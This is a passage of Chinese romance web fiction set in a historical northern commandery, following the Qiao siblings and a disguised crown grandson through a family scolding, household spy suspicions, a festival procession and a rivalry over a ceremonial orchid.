方清羽看到自己姐姐受此委屈,怒瞪双眼,“你们欺人太甚!我父亲可是郡监!”他想冲上前却被身后仆从压住,乔青松起身走进,帮他整理衣领,“我就不说那么多了,黑风今天没事儿我就不跟你计较,下次好自为之。”
说完他就打了方清羽腹部一拳,方清羽和方清清都被这一圈给打懵了,好像比乔杳杳那杯茶还令人费解,一时间方清羽也没反击,闷哼痛得倒地蜷缩在一起,方清清满脸担忧慌张去看自己弟弟的伤势。
乔青松手下有分寸,那拳不重,就是疼。
陈新紫眨巴眨巴眼睛当做什么都没看到,费承风充耳不闻,乔杳杳看看天又看看地无所事事。
姚淮序算是知道乔杳杳这是跟谁学的了。环视一圈坐着的人,好像都习以为常了。他嘴角抽抽,随后忍不住抬手扶额偷笑,真是,让人意想不到啊!
收拾完方家姐弟几人在小花园入口分别,但是好像少了两个人。
“苏小姐呢?”
乔青松问,乔杳杳认为苏清序和费承风在一起,自以为贴心地想让两人独处一会儿于是道,“姐姐忘了东西,七哥跟她回书院去取了。”
“紫娘,跟我们走呗,我送你回去呀!”
乔青松笑着看她,陈新紫又想起捂她嘴巴那下,瞬间不自然道,“啊…不,不用了。”
“走吧,陈俊卓也不等你,让元娘送你回去。”
提到这个,陈新紫泛红的耳根又褪去,有些恼了道,“也不知是哪个小厮乱传信和哥哥说我自己一个人回,让我知道了我定将那人暴打一顿!”说着她就挥拳,“让他瞧瞧我陈紫娘的厉害!”
乔杳杳跟没骨头似的,贴在陈新紫身上,“紫娘,我送你回去嘛!”
陈新紫盯着乔青松,咬牙切齿道,“不!用!了!”
“咳咳咳……”
乔杳杳:???
最后陈新紫也没和乔杳杳一起走,牵了乔府的马自己回去了。乔青松有心送,奈何触及陈新紫“锋利”的目光不自觉摸了摸鼻子。
乔杳杳在车上笑得花枝乱颤,搁这车窗用手拍自己哥哥的肩膀,“哈哈哈哈哈哈哈,乔天成啊乔天成,你怎么惹我家紫娘了?不会是你让人给陈俊卓递得消息吧!”
乔青松任由她打趣也不恼,笑着拿腿轻夹马腹,“差不多行了啊!”
她撩起帘子问,“我怎么之前不知道你喜欢紫娘?”
乔青松丝毫不避讳这个问题,大大方方道,“什么都让你知道了还成?”
姚淮序在车厢内顺手给乔杳杳捋了捋她身后的裙尾,盖住小腿。
“哥哥,我跟你可是一母双生胎,你想什么我怎么不能知道?”
“快缩回去吧!”他伸手去推乔杳杳的脑袋。乔杳杳顺着力道坐回车厢,“我帮帮你呀!”
乔青松骑着马身子微微晃动,自信道,“大可不必,没有你紫娘还能早点成你嫂嫂,你要是插手,我可就要等上不知几百年了!”
乔杳杳不服气,“乔天成!你小心我告诉紫娘!”
“你还是考虑考虑今晚让沉月送点什么吧!”
姚淮序没听懂这句话,但是乔将军一回府他就知道了。彼时她正在给乔杳杳写字帖,乔杳杳的笔杆子放在唇上,两腮鼓鼓,半点瞧不出白天那副欺负人的模样。
“小姐,将军回来了,叫你和二公子去祠堂。”
沉月声音掩不住的忧心,乔杳杳起身拍拍手,临走时还和姚淮序俏皮道,“姐姐,你记得让厨房热蛋羹,我想吃蛋羹。”
沉月着急道,“小姐还想着吃!”
“诶呀,沉月小美人,你就放宽心吧!”说着她拿手挑沉月的下巴,眼睛也从下往上挑,莫名勾人。
姚淮序接着又写了一个字就写不下去了,他耳力好,乔杳杳叫的声音又大,耳边全是她滋哇乱叫的哭喊声,忍不住蹙眉,女儿家怎么能禁得住打?
“父亲怎么不问为什么?!明明是他方家欺人太甚,先将哥哥的缰绳动手脚差点害黑风受伤也差点害哥哥手上,后又欺负阿序姐姐,父亲怎么都不问?!只在这里打我和哥哥!母亲!你看啊!……”
乔万屹把戒尺扔在地上,敛着声音道,“打都没打上去你哭什么?我把你叫来可问了你什么?什么都没开始你就哭,元娘啊元娘,你把为父乐死好啦!”
乔杳杳眼泪秒收,嫩白的手心合拢从地上起身给乔万屹倒茶,“父亲消消气,都怪他们。”
她声音还带着两分哽咽,乔青松揉了揉自己膝盖随后坐在蒲垫上。
“咱们家还得是元娘能闹腾。”
乔万屹赞同的点点头,乔杳杳嘿嘿一笑,“父亲消消气嘛。”
乔万屹认真问道,“元娘。”
“嗯?父亲?”
乔青松笑道,“父亲想问,他和母亲怎么就生出来你这么有意思的姑娘家?培养个大家闺秀怎么就这么难?”
乔万屹听了喝茶就笑,乔杳杳嗔怪道,“大家闺秀有什么好
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?做元娘不好吗?父亲母亲最喜欢我啦!”
乔万屹又叮嘱两句,“苏小姐那边元娘你多上心一些。”
乔杳杳正色道,“父亲信她吗?”
乔万屹刮自家姑娘鼻子,“我信我家元娘。”
乔杳杳抱住父亲,小声道,“谢谢父亲。”
乔万屹拍她后背,“让苏小姐安心住着,这事和她没关系让她不要往心里去。还有元娘呀,下次不要拿茶水泼女孩子脸,一群人看着,姑娘家家都是个面皮薄的。”
“但是她是坏人。”
“可你不是啊,热水烫了她脸看她难受你就高兴啦?”
“是凉水……”
“在外面要给人留三分薄面,不能将事情做死、做绝。”
乔杳杳乖乖点头说好。
乔青松提起另一件事,“那晚的人和苏小姐有关系吗?”
乔杳杳道,“应该是。那那个丫鬟呢?”
前几日程伯发现黑衣人踪迹后乔府上下大查,乔杳杳遇上一个丫鬟匆匆忙忙掉了一封信,她本是好意,可手一摸信封便知不对,信封的手感不对。
乔家府上所用信封不过寻常信封,更别说下人,可那丫鬟所掉出来的信封却是市面上少见的好信封,一两银子十封的那种,这种信封的封口处有机关,只要拆开便会留痕迹,拿到信的人一看便知有没有人偷看过。
她还没开口问,那丫鬟便匆匆说是家书,慌忙求了随后离去。
乔杳杳并未阻拦,暗自将人记下告诉了母亲。
乔夫人当天便暗地调查,那人底细清白,毫无破绽,这就说明乔府让人安插进了奸细,别管是不是那丫鬟,但肯定不止那一人。
乔家近来无新仆,而且但凡能进乔家伺候的都是家世清白之人。乔万屹深知何人布局,也深知这场局布了多年,于是有了后面这一出。
姜太公钓鱼,愿者上钩。
程伯盯紧了各个小厮丫鬟,那人肯定会给方家递消息,之前那个丫鬟让乔母寻了合适理由留在身边如今肯定不是她,再出来冒头的那人便是另一个奸细。
会是谁呢?
“好了,不管是谁你们二人都要待在这里。”
乔杳杳嘟囔道,“早知道不回来了。”
“不回来了?”
乔青松添油加醋,“自然是住回书院的寝舍,天高皇帝远的谁管得着谁呢?”
“乔天成!”
乔杳杳起身佯怒去打人,拳头还没伸到对方眼前就被拉跪在蒲垫上,“没大没小的!”
好汉不吃眼前亏,她在心里唾弃道呸呸呸。
“行了,今晚安生点吧。我要去陪我娘子了。再大吵大闹就去祠堂外边跪着。”
乔杳杳认怂背后使劲捶乔青松,“错啦错啦,父亲慢走~”
乔青松咬牙,冷笑睨她,仿佛在说你等着。
门被小厮关上,乔青松立马起身掐乔杳杳后脖子,“胆子不小。”
乔杳杳双手趴地,“我会告诉紫娘的!”
乔青松不以为意,“挑拨离间?就你?”
“试试?”
乔青松讪讪松手,不是他不信自己没本事,就是害怕紫娘单纯真叫她給哄住。
“沉月什么时候来?”
“没你的份!”
乔青松靠在供台前,单腿支起,拿脚尖踢乔杳杳的屁股,“好元娘,哥哥错了。”
28. 算计咱们她有什么好处?为了和弟弟往一处使……
祠堂院中有两颗松柏,四季常青,青翠挺拔,姚淮序端着食盒有心不与乔万屹打照面,乔万屹却不这么想。
“苏小姐。”
姚淮序停步福身行礼。
乔万屹如常道,“苏小姐说的信我不知,但我会帮苏小姐找。山庄对我乔家有恩,也请苏小姐放下防备,之前一事就此为止,乔家不与山庄为敌,不论过去还是今后。
乔某相信元娘,苏庄主是好人,苏小姐也是。”
五月底的风有了热意,轻轻抚摸过他的发鬓、脸颊,手上也感觉到些许热意。
岁至半百的乔万屹的背影依旧挺拔,如山,如松,撑起乔家的天,护佑北郡安宁。
“吱呀——”一声门响,两人同时抬头,姚淮序提着食盒把灯笼先放在屋内,随后关门人进来。
本来以为是沉月送,谁知姚淮序竟亲自来了。乔杳杳拿另一个蒲垫让他坐下,手里端着蛋羹,乔青松也有一碗。
三个人坐在祠堂的列祖列宗前面吃蛋羹,乔杳杳说乔家先祖们从来不在意那些虚礼,若是在意她大姐早就相夫教子了,不过她还是把蛋羹放在供台上点了三柱香,乔青松弯腰跪拜,姚淮序在一旁也跟着作了作揖。
三个人又聊起来白天的事情,
“你说方清清为什么闹这么一出?方清羽我知道,无非是想出头。历年都是咱们赢,也就紫娘她那队能打打有的瞧,所以他费尽心思混进去还做手脚,想在北郡出些名头,那方清清呢?她污蔑阿序姐姐能有什么好处?”
乔青松分析道,“我觉得方清清比表面更有心机,她今日虽然表现的像一个慌张、善妒、没头脑的,可她眼睛里的狡黠可藏不住。”
“算计咱们她有什么好处?为了和弟弟往一处使劲儿?”说着她就笑,呛咳两下,乔青松给她拍背。
姚淮序闻言顿了顿,他白日光顾着看乔元娘又觉得方清清是个烦人的,都没有注意,这么一想,确实是。
一般自己栽赃自己的肯定会想置对方死地,或者从对方身上获得点什么。
他又什么好图的呢?
回想白日方清清的态度,一开始好像并没有哭,是在乔杳杳过来的时候才掉了两滴眼泪,这有什么关系呢?
“哥哥,没想到你还能看明白这个姑娘家的小把戏啊~”
“我又不蠢。”
聪明蛋拿勺子直接挖自己妹妹一大勺蛋羹。
乔杳杳白他一眼然后笑眯嘻嘻直接伸勺子去舀姚淮序的,姚淮序还给她往前递了递。
乔杳杳道,“大概是嫉妒我吧,我太优秀了。”
姚淮序嘴角抽抽,没脸想上课流口水的乔元娘,可他又觉得唔她说的好像也没错,反应过来他想了点什么以后自己也忍不住笑了。
等等,姚淮序又想起来一个点,便是乔元娘到了以后方清清对周围所有人的暗自打量,很隐蔽,但姚淮序在宫里见多了阿谀奉承的人自然知道她也是在观察周围人的反应,只不过当时他没往别处想,现在仔细想来确实是不对。
渍,不能说话真烦。
姚淮序十分自然地拉过乔杳杳的手,在上面写道,“舆论。”
乔杳杳问,“姐姐是想说方清清想看你的名声会不会因此变坏吗?”
姚淮序摇头,乔青松一语道破,“不,是乔家。”
乔杳杳重复,“乔家?”她慢慢推,“如果是要看乔家的话为什么从阿序姐姐下手?因为她和我关系好?!”
她又自己否定提出一个新的更合理的可能,“不不不,是仗势欺人。”
乔青松面色严肃起来,“仔细回想,两次拆穿他们的时候几乎都没有人证物证,完全是只有咱们自己知道,后面教训人却是实实打实的,但凡有人路过小花园乔一眼便知道方家的、乔家的都在,就算不路过第二日稍微一打听就能知道。
再加上泼茶的事情,缰绳他们未必知晓可泼茶一事却是人人都知,偏巧这个还是个糊涂账。”
乔杳杳愤然吞下一口蛋羹,嚼嚼嚼,道,“真是好算计!如此一来,乔家兄妹仗势欺人不就传开了吗?再加上方家初到北郡,一煽风点火不就是排斥方书来当郡监吗?”
姚淮序点头,确实如此。
当时方清清打量一圈人便是看明白了周围人都知道乔元娘性子娇纵蛮横,在算计后面能不能成事。
如此心机谋算可不只是女儿家之间不和出风头的事情了,怕不是方书来在背后授意。
按理说乔家风评不差,也就乔元娘的口碑娇纵蛮横些,仅仅这样就想把乔家从郡守位置拉下去,抹平乔家历代在百姓心中的功绩,这有些难吧……
“哥……哥”
乔杳杳缓慢吞掉最后一口蛋羹,努力回忆道,“你记不记得接方清清丫鬟兜里揣的帖子”
“有点印象……”
“是祭祀游的帖子。”
乔青松蹙眉,“这有什么关系?”
乔杳杳两个腮帮子鼓鼓,肯定道,“她想当神女,她嫉妒我。”
……
祭祀游的风俗在北郡维持了几十年,乔杳杳近两年才被选做神女,游行的花车要从城中出发绕城南、城北一圈,到时候路两旁会站满百姓,各色的花儿丢将被抛进花车,向神女祈求今年丰收,祈求一整年的好运。
神女手中会持一瓶兰花,若是看到有缘人便可相赠,兰花象征神女的祝福,保佑此人顺顺遂遂、平平安安。
花月楼三楼整整一层都收拾出来让给祭祀游的神女、仙女化妆、换衣。
“去年的兰花送给谁了?”陈新紫闭眼睛乖乖让妆娘粉面。
“赵员外的儿子。”
沉月高兴道,“是呢,赵员外可高兴了整整一年。”
“元娘,今年官府让你给谁?去年本来安排杨大人,临了杨大人脸都笑褶皱了也没接到眼巴巴看你给了别人,今年还给你送帖,真放心啊~”
陈新紫打趣她,从来不按安排来。
“今年说给方书……”
“小姐!”沉月一把捂住乔杳杳的嘴巴,慌忙提醒道,“慎言。”
妆娘笑道,“沉月姑娘快放下吧,妆都要花啦。”
沉月讪笑不好意思跟妆娘道歉,不断给乔杳杳递眼神。
乔杳杳目光绕过她,眼睛瞟一眼隔着好几个位置的方清清转头和陈新紫道,
“她怎么也来了?
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”
陈新紫已经画完眼妆,淡霞粉的眼睛格外娇嫩,笑靥犹如桃花,听不出来情绪,“八个仙女有一个病了,让她顶替。”
乔杳杳就笑,“我还以为她要当神女。”看向方清清的眼神里是丝毫不掩饰的挑衅。
陈新紫拉进凳子,凑在耳朵边道,“听我爹说是乔大人不让,两方人马商量下来说今年的兰花给方大人。”
乔杳杳嘴角一抽,“这不是……”
妆娘打断两人,“两位姑娘,再聊下去就要误了时辰啦,都等着呢,快快上妆吧。”
乔杳杳笑得像浸在蜜罐里似的,“好好好,听我们妆娘的。”
正笑着不经意瞥到有一夫人凑到方清清身边说话,定睛一瞧,竟然是消失多日的李管事的夫人。
“妆娘,你且等一下。”
“三小姐,还没换衣裳呢!”
“我马上回来!”
乔杳杳背影匆匆,忙跑到门口细瞧,真是!她尾随李夫人到花月楼旁边巷口再往前走,对方竟消失不见。
醉酒仙三楼隔间,一打开就能看到不远处的花月楼,到时候游行的花车从花月楼出发先到城中,途径醉酒仙,再绕城南城北,在这里能看清大半路程,观赏位置极佳。
李夫人复命道,“乔小姐已经看到属下。”
那人淡淡地嗯了一声,将目光投向花月楼前的窈窕身影,远远这么一眼也能叫他心情愉快,嘴角压不住的上扬,不经意往旁一瞥。
姚淮序隔花月楼两条街正跟桃肆、费承风议事,察觉到什么转头望醉仙楼,一人正站在窗前朝他门遥遥举杯,不偏不倚。
姚淮序蹙眉,费承风问道,“殿下,怎么了?”
姚淮序嗤笑下,眼神透着轻慢,凛声道,“看到一只老鼠。”
他想起乔杳杳,回头靠在墙边双手抱胸不自然道,“费承风,你别跟花孔雀开屏一样老在乔元娘面前晃悠,把她带坏了。”
费承风一脸不可置信。
???请苍天,辨忠奸!
桃肆递上手里的玫瑰酥饼,姚淮序结果,最后嘱咐道,“皇叔在都城的势力差不多都拔干净了,咱们搜集证据也要加快,那封信和乔家没关系,不用查乔家了。”
“还有,你跟费伯多注意一点,我担心他狗急跳墙对你不利。”
费承风在一旁道,“我知道,而且我还早说了不用查乔家,你不信,怎么变了卦?让我听听怎么变得主意?”
桃肆忍不住笑:“费公子提醒完了,是早就栽了。”
姚淮序蹙眉渍了一声,“怎么都没事儿干了吗?”他转身走出巷子,带上皇太孙的几分散漫慵懒摆摆手道,“谢了。”
女子装扮发出男子嗓音,还好僻静不然得吓死人。
费承风失笑,也学他靠在墙边,挑眉问桃肆,“他一直这样?”
桃肆看殿下已经走远的身影,欣快道,“殿下只是一时别扭不好意思才装作一副高深不在乎的模样,心里早就高兴的不得了,谢谢费公子。”
“谢我什么?”
“谢谢费公子还是殿下的好朋友。”
费承风勾唇,有些人,几百年都不变。
29. “苏清序!”她垫脚高兴地来回摆手
姚淮序一手提酥饼一手提裙摆上楼梯,到了三楼有好几个隔间,随便抓了一人询问那人只说神女在八号隔间。
姚淮序顺着门牌号一一数过,六、七、九…偏偏没有八,楼里人多嘴杂,稍微一听就乌泱泱乱得比菜市场还闹耳朵。
姚淮序耐着脾气又走一圈,中间还有人挤来挤去撞在他身上,心里挂记见不到人脾气隐隐发作。
偏偏有人不长眼上赶着找骂,“这不是苏小姐吗?”
方清清一身祭祀游仙女装扮靠在门旁,语气傲慢无礼。
姚淮序转身就走,不料她堵住自己的去路,三番两次,姚淮序本就不是什么好性子。正要抬腿踢人时一道熟悉嗓音将他所有急躁抚平,“方清清,你是不是记吃不记打啊?”
方清清见乔杳杳来,也不再装,直翻白眼,用力抖手帕转身吩咐丫鬟关上自己隔间的门。
姚淮序自己都没意识到自己笑了,一回头看到神女装扮的乔杳杳,眉心点缀花钿,一身白粉祥云素纱长裙,绣着各式各样的娇花,栩栩如生,两只小臂如藕般白嫩裹着轻纱若隐若现,肤若凝脂,唇红齿白。
从未见过,如此漂亮的乔元娘。
一双珍珠耳坠随她说话点头轻轻摇晃,一颦一笑不似凡人,不知情者看了定要以为是真的神女降世。
乔杳杳伸手捏姚淮序单侧脸颊,“傻啦?”
“上次说给你打耳洞也没有,耳夹都夹得泛红了。”
她凑近去看,一种淡淡的脂粉香气贴在姚淮序身上,并不浓郁,淡淡的花香般让人心头痒痒。
他下意识摸自己的耳朵尖,滚烫,热意从脖颈往上爬,脸上也渐渐红晕。退后两步将玫瑰酥饼交到她手里转身就走,乔杳杳一伸胳膊就握住了他的手,
少女手指也柔弱无骨般绵软。
“怎么要走?你今天怎么了是姐姐?”
姚淮序不敢直视她,目光一直偏向一侧,心跳狂跳的声音从见到人后就没个消停,连楼里的嘈杂都听不见了。偏生乔杳杳觉不出来眼前人的不自在,贴近了才笑着问,“今天被我美到啦?”
陈新紫在不远处催促,“别美啦!要走了!快点!”
乔杳杳笑着把玫瑰酥饼递回姚淮序手里,小声嘱咐道,“一会儿在醉仙楼门口等我,记得给我带花,我要向日葵。”
说完姑娘就走,提着漂亮裙摆跟陈新紫说说笑笑下楼,满花月楼的人仿佛在这一刻都被僵住,注视着天界神女一步步走入凡间。
确实美,惊心动魄的美,美中带着少女欢脱,扑面而来的活力更像是个花仙子,这就是乔杳杳,让姚淮序控制不住疯狂心动的乔元娘。
沉月拿着乔杳杳的东西走到姚淮序身旁,嘟囔道,“苏小姐别放在心上,随便什么花都行,向日葵哪有这么好找的呀,都这会儿了……诶,苏小姐你去哪里?”
姚淮序不语,玫瑰酥饼转送到沉月手里,他有更重要的事情。
花车不止一辆,最前面的和最后面花车上各两个仙女,同乔杳杳一辆车的有四位,不巧,其中就有方清清,还有陈新紫。花车四面镂空,四角翘起挂彩绸,各色绣球点缀,四根柱子、四条栏杆用绿萝绕了一圈又一圈。
百姓们朝花车扔花,刚出花月楼连半盏茶的时间都没有就已经被铺满一层,有娇艳欲滴的,还有含苞待放的,各式各样都有,走到醉仙楼更是百花齐放,种类很多。
方清清重新端起自己的贵女做派负责朝两旁的百姓洒仙水,就是拿花枝沾了清水洒向人群,一举一动温婉雅致,笑意盈盈。
陈新紫也在做同样的动作,抽空问乔杳杳,“刚刚和苏小姐说了什么?”
“没说什么。”
“劝你安稳些,今天可不是寻常日子。”
乔杳杳当耳旁风,接到一个姑娘抛得月季笑着拿车上的绣球去换,手里的兰花端得稳当,有模有样朝百姓打招呼,端庄昳丽,宛如神女亲临。
“乔青松呢?”
乔杳杳打趣道,“一如不见如隔三秋?”
方清清忍不住提高声音道,“神女还是做好自己本分,休要多言了。”
陈新紫拿浇花的勺舀上水面向方清清那侧泼出圆形弧线,方清清身上沾上水珠,不悦,想起在闹市又表现出委屈巴巴白莲模样。
“不好意思呀方小姐。”
乔杳杳故意问,“这水寓意吉祥安康,方小姐不喜欢吗?”
一来一往话语间都是刺。
花车正好行至醉仙楼,三楼有人将花高高抛下,同是兰花,不偏不倚落在乔杳杳头上。
花车停下,周围人倒吸一口冷气随即爆发一阵欢呼,“这是天意呀!”
“楼上的是哪家公子少爷?好手气。”
“看来今年的兰花定要给他了。”
众人抬头一望,那人身穿湖色锦衣,侧身坐在窗柩上半个身子都在外面,少年声音爽朗,容貌同样俊秀无双。
“请问神女,那兰花合该给我吧。”
乔杳杳伸手将花摘下拿在手中,仰头问道,“敢问阁下是哪位?”
周围人群亦是议论纷纷,
“好俊俏的少年郎?北郡还有这等人物?”
“这是谁呀?我怎么从来没有见过?”
“真巧啊!”
“可不是,诶,你看他们二人好是般配!”
“糊涂了你不是,那是神女。”
“恕罪恕罪,我说的是乔三小姐,神女勿怪勿怪”
沈祀安出尽风头,扬声道,“神女赐花还要问姓甚名谁吗?”
“自然不是,赐花讲究缘分,这位公子,我与你并无这份缘分。”
乔杳杳将手中的兰花递给陈新紫,并未瞧见方清清已经变了脸色。
沈祀安笑意不减,“神女怎知我与你没有缘分?”
乔杳杳半蹲福身行礼道,“此事讲究缘法,不可说。”
人群疑惑起来,“这都不给,那要给谁?”
“我到要看看谁今年这么大的福气。”
“神女!给了吧!”
“不然给我吧!神女!”
“哈哈哈哈哈哈哈哈哈……”
乔青松在不远处楼阁上看着,“那人是谁?父亲我去看看。”拧眉转身,却被乔万屹一把抓住,面色深沉,“宁安侯。”
“什么?”
乔青松和费承风没见过沈祀安,乔万屹却见过沈祀安的父亲兄长,当真是一个模子里刻出来的,极像。
“沈家幼子,沈祀安,宁安侯。”
“宁安侯怎么会在这儿?”
费承风只说前半句,“难不成是……”
三人一时皆沉默不语。
乔杳杳这边还在和沈祀安打太极,沈祀安不羞不恼非要问那花给谁。
乔杳杳没好气道,“自是有缘人。”
“宁安侯……是宁安侯……”
“什么?”陈新紫又问一遍。
方清清磕磕
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绊绊道,“沈小侯爷……宁安侯,乔三小姐给侯爷吧。”
乔杳杳蹙眉,随即打量人群,苏姐姐怎么还不来?
人群哄闹声音更大,她远远瞧见最外圈人群有一摸黄色不断朝中心靠近,越来越近,先是露出上层花瓣,接着是花蕊,最后整个花朵儿都印在乔杳杳的眼帘,草绿的的茎又粗又直,花儿热烈明艳。
“苏清序!”她垫脚高兴地来回摆手。
姚淮序额头冒出薄汗,细细喘息着,抿唇靠近花车,将大朵的向日葵递给她,比向日葵更明媚的是她的笑。
“乔三!”
两人同时抬头望三楼的少年,乔杳杳勾唇道,“我等的人来了,兰花虽好,可向日葵更是热烈。她面向人群,“愿北郡今年秋收能如这花一样盛大、丰硕。”
“好!”
“我也喜欢向日葵!”
“今年定是丰收年!”
“该是如此呀!”
“今年真是热闹”
“还以为我能得了兰花呢。我也想要神女祝福啊~”
“再等等嘛,说不定明年就是你的。”
“哈哈哈哈哈哈哈哈…那我可要等着了。”
“哈哈哈哈哈哈哈哈”
沈祀安用力捶窗格,目光森然,乔杳杳没听见也没瞧见,她将胸前捧着的兰花从花瓶中掐尖儿弯腰要别在姚淮序的耳朵边。
方清清略显着急提醒道,“那花该给小侯爷。”
姚淮序伸手握住她的胳膊,面露迟疑,乔杳杳笑着继续将花戴在他的右耳边。
“苏清序,我给你一个家吧。”少女笑容流光溢彩,比之满城花朵儿更娇艳,叫人挪不开眼睛。
心跳声震耳欲聋。一时间天地都没了颜色,独独乔杳杳这抹色彩明亮。
众目睽睽下,她将最好的祝福赠予他。
姚淮序喉结滚动,欲言又止,眼中只有面前笑靥如花的乔元娘。
“在府里等我,我有东西给你。”
姚淮序郑重点头,仿佛在真神明前许下承诺。
往年祭祀游只要傍晚才叫结束,大部分人都是为了看兰花归落谁家,今年闹了这出游至午时就少了多半人。
从沈祀安出现以后方清清就神魂落魄,心不在焉。陈新紫递给她一碗水,“怎么了是,半天都缓不过神?”
方清清怔怔接过,“沈小侯爷怎么回来北郡?”说完她自知失言,闭唇不语。
乔杳杳和陈新紫对视一眼,“他怎么不能来?”
方清清不理二人,不管再问什么都不答话,还在游行乔杳杳也不好直接上前架住人问出个结果。她想起来李夫人,顺口问道,“今儿给你送东西的婆子是谁?”
方清清蹙眉,回忆起来,“婆子?我不认识。”她摇摇头,“街上随便个卖吃食的。”
随便个卖吃食的?怎么就这么巧?
三人百无聊赖,走完这半圈就能结束,虽然只用站着没别的事情需要做,可这衣服繁重,单站着就累得不行。
乔杳杳靠在栏杆上歇息,拿车上的花是不是抛给街边姑娘,接了花儿的女娘个个欣喜若狂,迫不及待跟自己父母、朋友或是郎君分享。
方书来在城北游行终点听来人报中途发生的事情,面色一变忙招呼人去请沈小侯爷,忧心忡忡。
乔青松和费承风去醉仙楼时人已经走了,费承风拿手轻碰杯壁。
“热的。”
两人对视一眼,“没走多久。”
30. 长命百岁,岁岁平安
姚淮序靠在醉仙楼后巷,耳边是那朵兰花,一身月白衣袍,隐隐呼应,更显少年面容精致。
車井护在沈祀安身前,手放在剑柄做好随时动手的准备。沈祀安面上挂笑按住他的手,向后摆头示意守好巷口。
“太孙殿下好雅致。”听不出是揶揄还是夸赞。
姚淮序也笑,直起身子,“比不上宁安侯,千里迢迢为一朵兰花而来。”
“殿下怎知我为兰花而来?”
沈祀安走进忽而伸手去摘,姚淮序抬手挡住,皮笑肉不笑,“不为这花儿来——宁安侯抢什么?”
“我的东西也敢抢,小侯爷眼神不好?”
沈祀安手上用力,发狠道,“殿下才是,你怎知是你的?”
两人交手,姚淮序弯腰躲开,沈祀安换一只手向下去抓,姚淮序抬腿踢向他的胳膊。沈祀安侧身躲过再次伸手,耳边的花随主人动作掉落,姚淮序用右手把花抛起,沈祀安看准时机踢姚淮序的小腿,不料抬腿就势攻击他胸口,情急之下用双臂抵挡。就这么须臾的时间姚淮序重新把花戴在耳边。
“太孙殿下,你就不怕身份被发现吗?”
“那又如何?”
“乔三她知道?”
“这关元娘什么事?”
“姚淮序!”
姚淮序掀眼皮看他,似笑非笑,“小侯爷着什么急?”
沈祀安自知失态,拍掉衣服上并不存在灰,恢复矜贵模样,“殿下,盛京还不知道。我劝殿下早日回城,这北郡还不是锦州的。”
姚淮序挑眉,重新挑起话头问道,“沈祀安,自锦州都城一别,不想念我吗?”
“殿下说笑了。”
“谁写给三皇叔的信?”
没头没脑的一句,沈祀安神色不变,“我不知。”
“上面说乔沈……”
巷口有脚步声响起,車井停在不远处。
沈祀安了然,“殿下,下次再见。”
“最后一个问题,沈祀安,你来北郡是为了什么?”
走到巷口的沈祀安顿步,偏首笑道,“为故人。”
……
陈俊卓亲自接陈紫娘,一天下来把几位姑娘都累坏了。卸了妆换掉衣服各自归家。乔杳杳张望自家哥哥怎么还不来,沉月也没个踪影,冷不丁看见李夫人鬼鬼祟祟进了暗巷,又碰到她,怎么会这么巧?
陈紫娘掀起门帘,“元娘,走吧。”
乔杳杳摆手匆匆跟在陈夫人身后,陈紫娘没喊住人犹豫要不要通知人,陈二拿主意跟了上去叫自己妹妹先回家。
李夫人身姿矫健根本不想寻常妇人,拐过几条巷子竟然就跟丢了。乔杳杳心知不妙,转身往外跑,蓦然看到白天醉仙楼跟她要兰花的人。
那人隐在暗处,慢慢踱步到光影底下,浑身渡上霞光。
“乔三小姐?”
乔杳杳眼里都是防备,装糊涂道,“打扰了。”转身就往外跑,砰一下撞在陈俊卓身上,陈俊卓扶住姑娘警惕道,“怎么了是?”
“认错人了,快走。”
他不再问,想着将人送回乔府。两人只有一匹马,共骑不合适,陈俊卓牵着马,乔杳杳坐在马上。
“元娘,见到谁了?魂不守舍的。”
“二哥别问了。”
陈俊卓调侃,“怎么,不信二哥?”他拍拍马屁股,“往常都学坏学你哥陈二陈二的叫,难得今日乖一些,说出来让二哥为你排忧解难。”
乔杳杳神色严肃,认真摇摇头。陈俊卓明白此事不小也不再问,一路无言把人送回去。
其实从城北走回去不近,还是傍晚,到乔府时天色已暗,灯笼高挂,沉月着急在门口来回踱步。
“怎么还不回来?”
“是小姐!”
沉月跑着迎上去,仓促给陈俊卓行礼随后扶乔杳杳下马,乔杳杳抚摸马鬓,一下又一下,“多谢二哥。”
“行了,回去吧。”
乔杳杳笑着点头,迈过门槛,绕过走廊,沉月一路上絮絮叨叨,
“小姐去了哪里,把奴婢吓死了!”说着沉月就哭,鼻涕一把泪一把,乔杳杳被逗乐,给她擦眼泪。
“这不是回来了嘛。”
“啊啊啊小姐你下次乖乖在原地好不好,吓死我了!”
“别哭别哭嘛。”
“阿序姐姐呢?哥哥呢?今儿怎么都见不到人?”
沉月抽抽嗒嗒道,“苏小姐在桃阁,二公子出去找您了,将军去了官衙。”
“哥哥还没回来?”说曹操曹操到,乔青松脚下生风,看到乔元娘后连忙查看有没有哪里受伤,口气略显着急,“怎么不呆在风月楼安生等着?怎么回事?”
“二哥送我回来的,我看到李夫人了。”
乔青松蹙眉,“哪个李夫人?”他迟疑道,“那个李夫人?”
乔杳杳点头,“还有……沈小侯爷。”
“你们怎会碰上?你之前可认识他?”
乔杳杳摇头,将暗巷事情告诉乔青松,乔青松思忖片刻,嘱咐道,“去给娘请安,别叫娘担心,我去找父亲。”
语气沉重,乔杳杳明白事情严重性。
“人抓到了吗?”
乔青松说出一个令人意想不到的名字,乔杳杳失神,再想问什么时他已经走了。
她给母亲请安再回桃阁时天大黑,还未进桃阁小院儿远远就能瞧见院门口有亮光,走进再一瞧,那人坐在槛前,旁边放着纸糊的八角灯笼。
乔杳杳快跑两步到那人面前,糯糯道,“姐姐还没睡啊?”
姚淮序仰面,眼睫轻颤,点头承认,拿出早就准备好的纸,
“你说等你,我在等你”
“对不起,姐姐……”
“没关系”
眼泪如断线的珍珠,乔杳杳笑着,眼里盛满泪花,她转身背过去,仰头不让眼泪掉下来。
异常敏感,不知道在脆弱个什么劲儿,深吸一口气,一想到他从下午就一直等在这里,等到点上灯盏乖乖巧巧的样子让她忍不住心疼,忍不住想哭。
沉月有眼力见儿早就走开,姚淮序拉她手,坐太久腿有点麻,站起来缓过片刻,将姑娘身子转正,给她擦眼泪。
一个两个,今晚都掉眼泪。
她把最吉祥的象征送给他了,他很高兴,神女就不要哭啦,
姚淮序换掉第二张纸,“元娘,我很高兴。”
乔杳杳又哭又笑,泪珠子掉在他手背,滚烫。
“我还有样东西要送你。”
姚淮序挑眉,是什么?
乔杳杳拉着人回自己寝屋,从枕头下拿出两根红绳,示意他坐下把手伸出来,姚淮序乖乖照做。
红绳被绑在手腕上,大小合适,衬得皮肤更加白皙。
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乔杳杳自顾自道,带有鼻音,“是因为习武的缘故吗?我阿姐的手腕也稍粗一些,不过她风吹日晒没有姐姐的手腕白皙。”
姚淮序耳朵一红,将手腕隐入袖内,连带着红绳。
